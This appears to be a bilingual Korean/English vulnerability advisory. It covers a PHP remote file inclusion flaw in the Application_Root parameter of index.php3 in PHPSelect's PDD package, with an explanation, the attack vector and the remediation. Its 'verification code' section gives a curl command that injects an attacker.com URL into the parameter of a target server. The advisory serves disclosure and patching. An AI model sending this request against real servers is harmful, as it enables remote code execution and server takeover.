🇰🇷 한글 설명
PHPSelect Web Development Division의 PDD 패키지 index.php3에서 Application_Root 파라미터를 통한 원격 파일 포함 취약점으로, 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
악의적인 웹사이트 주소를 특정 애플리케이션의 설정 파라미터에 입력하면, 그 웹사이트의 악성 코드가 서버에서 실행될 수 있습니다. 이를 통해 공격자가 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php3 in the PDD package for PHPSelect Web Development Division allows remote attackers to execute arbitrary PHP code via a URL in the Application_Root parameter.
📍 영향받는 시스템
PHPSelect Web Development Division PDD 패키지 (구체적 버전 미지정)
⚔️ 공격 벡터
Application_Root 파라미터에 외부 PHP 파일 URL을 주입하여 원격 코드 실행
🛡️ 대응 방법
PDD 패키지를 최신 버전으로 업데이트하고 Application_Root 입력값 검증 구현
🔧 검증 코드
외부 PHP 파일이 포함되면 그 파일의 내용이나 실행 결과가 반환되며, 아무것도 반환되지 않으면 취약점이 패치된 상태입니다.
curl -s 'http://target/index.php3?Application_Root=http://attacker.com/test.php' 2>/dev/null | head -20